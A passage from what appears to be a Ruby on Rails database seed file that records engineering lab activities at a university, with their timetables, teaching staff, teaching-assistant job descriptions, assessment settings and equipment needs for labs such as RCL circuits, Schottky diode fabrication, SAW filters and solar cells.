num_assess: nil)\n ActivityTech.where(activity_id: a366.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a367 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"229\").first_or_create!(name: \"Wireless Control of an Arduino Based system, using a Bluetooth Interface\",\n name_abrv: \"Ard Wire\", archived: false, in_drive: false, user_id: 3)\n at367 = ActivityTimetable.where(activity_id: a367.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a367.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a367.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a367.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a367.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a368 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"RCL\", archived: false, in_drive: false, user_id: 5)\n at368 = ActivityTimetable.where(activity_id: a368.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a368.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a368.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a368.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a368.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a369 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"RCL\", archived: false, in_drive: false, user_id: 3)\n at369 = ActivityTimetable.where(activity_id: a369.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a369.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a369.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a369.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a369.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a369.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a370 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE205\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"GEE - RCL\", archived: false, in_drive: false, user_id: 3)\n at370 = ActivityTimetable.where(activity_id: a370.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a370.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a370.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a370.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a370.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a370.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a371 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6503\").first.id, code: \"232\").first_or_create!(name: \"Pantograph Robot\",\n name_abrv: \"Pant Rob\", archived: false, in_drive: false, user_id: 1)\n at371 = ActivityTimetable.where(activity_id: a371.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a371.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a371.id).first_or_create!(criteria: \"Must have a understanding for forward and inverse kinematic modelling for robotic systems. Must be proficient at MATLAB, and preferably have worked with LabVIEW, (although not essential).\",\n job_desc:\"During this laboratory session, the students will model and implement forward and inverse kinematic models for a close coupled robot system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a371.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a371.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a372 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE205\").first.id, code: \"233\").first_or_create!(name: \"Introduction to Feedback and PI Control Design\",\n name_abrv: \"GEE - T+F Servo\", archived: false, in_drive: false, user_id: 3)\n at372 = ActivityTimetable.where(activity_id: a372.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a372.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a372.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a372.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a372.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a372.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a373 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"234\").first_or_create!(name: \"MSc Mechatronics Design Project\",\n name_abrv: \"ACS6502 - Design Project\", archived: false, in_drive: false, user_id: 5)\n at373 = ActivityTimetable.where(activity_id: a373.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a373.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a373.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a373.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a373.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a374 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"239\").first_or_create!(name: \"Design and Build Project - Software\",\n name_abrv: \"ShaddowBots-Soft\", archived: false, in_drive: false, user_id: 5)\n at374 = ActivityTimetable.where(activity_id: a374.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at374.id, room_id: $room_ec.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a374.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a374.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a374.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a374.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n\n\n a375 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1006\").first.id, code: \"300\").first_or_create!(name: \"Cleanroom taster for COM\",\n name_abrv: \"SCHOTTKY- COM\", archived: false, in_drive: false, user_id: 4)\n at375 = ActivityTimetable.where(activity_id: a375.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a375.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"COM Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a375.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode (or possibly MESFET transistor) in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a375.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a375.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a375.id, programme_id: $prog_com.id).first_or_create!\n\n\n a376 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"301\").first_or_create!(name: \"Group Project (Great Egg Race)\",\n name_abrv: \"GRP1\", archived: false, in_drive: false, user_id: 1)\n at376 = ActivityTimetable.where(activity_id: a376.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"210 minutes x 4 sessions (2 groups)\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a376.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"FYGER\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a376.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a376.id).first_or_create!(assess_weight: 8.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a376.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a376.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a377 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE380\").first.id, code: \"302\").first_or_create!(name: \"Individual Design Project\",\n name_abrv: \"IDP\", archived: false, in_drive: false, user_id: 3)\n at377 = ActivityTimetable.where(activity_id: a377.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Ad Hoc sessions, arranged between student and MEE staff\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a377.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Ind Design\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a377.id).first_or_create!(criteria: \"\",\n job_desc:\"GTAs sourced by EEE\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a377.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a377.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a377.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a378 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6213\").first.id, code: \"304\").first_or_create!(name: \"Resistivity measurements\",\n name_abrv: \"RES\", archived: false, in_drive: false, user_id: 1)\n at378 = ActivityTimetable.where(activity_id: a378.id).first_or_create!(duration: 180, kit_prep_time: 120, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 30, notes: \"Each student comes to 2 sessions. Timetabling cannot happen until Masters students have chosen their modules - will be very last minute.\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a378.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a378.id).first_or_create!(criteria: \"\",\n job_desc:\"Assist MSc students with Electrical measurements (IV) using probe station.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a378.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a378.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a378.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a379 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"305\").first_or_create!(name: \"Schottky Diode 1: Photolithography\",\n name_abrv: \"SCHOTTKY1\", archived: false, in_drive: false, user_id: 3)\n at379 = ActivityTimetable.where(activity_id: a379.id).first_or_create!(duration: 210, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Schottky 1 and Schottky 2 need to be on consecutive days.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a379.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Schottky 1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a379.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of testing of devices (IV, CV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a379.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a379.id).first_or_create!(cost_per_student: nil, equip_needed: \"At least 1 mask aligner with camera, 1 microscope with camera and yellow light filter in yellow room, 1 spinner, both chemical stations within the yellow room, at least 1 hot plate, 8 pairs tweezers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a379.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a380 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"306\").first_or_create!(name: \"Schottky Diode 2: Metallisation and Test\",\n name_abrv: \"SCHOTTKY2\", archived: false, in_drive: false, user_id: 1)\n at380 = ActivityTimetable.where(activity_id: a380.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 45, notes: \"Schottky 1 and Schottky 2 need to be on consecutive days.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a380.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"Schottky 1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a380.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of testing of devices (IV, CV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a380.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a380.id).first_or_create!(cost_per_student: nil, equip_needed: \"1 thermal evaporator, 4 acetone-resistant 0.5 - 5ml pipettes, 3 solvent chemical stations, 3 hot plates, 1 ultrasound cleaning bath, 8 probe stations, 8 SMUs, 8 LCRs, 8 LCR bias adapters, 2 microscopes, 10 microscope cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a380.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a381 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT2220\").first.id, code: \"307\").first_or_create!(name: \"Schottky lab for MAT\",\n name_abrv: \"SCHOTTKY - MAT\", archived: false, in_drive: false, user_id: 4)\n at381 = ActivityTimetable.where(activity_id: a381.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a381.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"MAT Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a381.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a381.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a381.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment as per CCEE.1.06.002 and CCEE.1.06.003 except LCR meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a381.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a382 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"308\").first_or_create!(name: \"Second Year Design Exercise: SAW\",\n name_abrv: \"SYDE - SAW\", archived: false, in_drive: false, user_id: 2)\n at382 = ActivityTimetable.where(activity_id: a382.id).first_or_create!(duration: 210, kit_prep_time: 1000, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 30, notes: \"\",\n capacity: 32, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a382.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a382.id).first_or_create!(criteria: \"Basic cleanroom skills plus at least some of these: Mask design (KLayout)\",\n job_desc:\"Assist ~20 Y2 EEE students to design, build and test a surface acoustic wave (SAW) filter.\n\n Description of project for UG students:\n In this exercise you will design, build and test a band pass filter that operates in the radio frequency (MHz) regime. Such filters are essential components in many modern electronic systems, including mobile phones, TVs and radar. \n\n It is possible to make filters using LCR (inductor, capacitor, resistor) networks, but such sytems are complicated and have low precission. Instead you will utilise the phenomenon of surface acoustic waves (SAWs) to make your own filter. SAWs are generated on the surface of piezo-electric crystals when they are excited by an electrical signal. The waves on the crystal travel nearly one million times slower than the speed of light, so, as well as enabling you to make a filter, they are also very important for making delay lines. Careful design of the interdigitated electrode structure on the lithium niobiate crystal will enable you to precisely define the performance of the filter. Each student will be given their own unique design specification (centre frequency, bandwidth). The design process will require you to use some of the concepts introduced in the Communication Electronics module (EEE227) and to use a computer-aided design (CAD) package. You will then make the filter using the extensive facilities in the Diamond cleanroom, including: mask manufacture; photolithography; plasma etching; metallisation; wet etching and wire bonding. You will then evaluate your filter using a vector network analyser. Care will be needed to ensure an impedence match between your filter and the test fixtures. The tests will involve measurement of frequency response of the filter and inspection of the output signals for signs of harmonic or other spurious signal generation. Assessment is by individual report and group presentation, with account taken of your performance at the design stage and in the laboratory.\", jobshop_desc: \"Photolithography\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a382.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a382.id).first_or_create!(cost_per_student: nil, equip_needed: \"Peter Trend, Abi Eades\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a382.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a383 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE228\").first.id, code: \"309\").first_or_create!(name: \"Second Year Design Exercise: Solar Cell\",\n name_abrv: \"SYDE - Solar\", archived: false, in_drive: false, user_id: 4)\n at383 = ActivityTimetable.where(activity_id: a383.id).first_or_create!(duration: 210, kit_prep_time: 2000, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a383.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a383.id).first_or_create!(criteria: \"\",\n job_desc:\"Assist ~20 Y2 EEE students to design, build and test a solar cell.\n\n Description of project for UG students:\n The project concerns the design, fabrication and measurement of photovoltaic (PV) solar cells which convert sunlight to electrical energy. PV cells are an important sustainable technology which can make an important contribution to reducing our dependence on fossil fuels. The devices consist of semiconductor p-n junctions within which light is absorbed to create electron-hole pairs which are swept out to the contracts by means of the built-in junction field. The type of semiconductor material and the design of the cell have a strong influence on the efficiency of energy conversion. However there are also widely varying costs of production which need to be factored in. The project will focus on two semiconductor materials of current interest (i) high efficiency, high cost PV cells made using the epitaxial semiconductor GaAs and (ii) lower efficiency, but relatively low cost cells made from thin film oxides (perovskytes). An important element of the project will be to contrast the performance of these cells and to understand the trade off between efficiency and cost for practical application. \n\n In the project, the students will fabricate and test solar cells made from these two materials. The students will design a fabrication sequence to be performed in the diamond clean room for the production of PV cells. An important step in the process concerns the optimisation of the metallic contacts to the semiconductors. The metals used and the design of the pattern for the front surface are of vital importance as they have an impact on the cells series resistance, fill factor and short circuit current. The students will chose the appropriate metals, write down an appropriate processing scheme and design their own contact mask. Following validation, they will then proceed to fabricate the cells and to mount these ready for measurement. On completion the cells will be evaluated electrically using a solar simulator to extract typical solar cell parameters.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a383.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a383.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a383.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a384 = 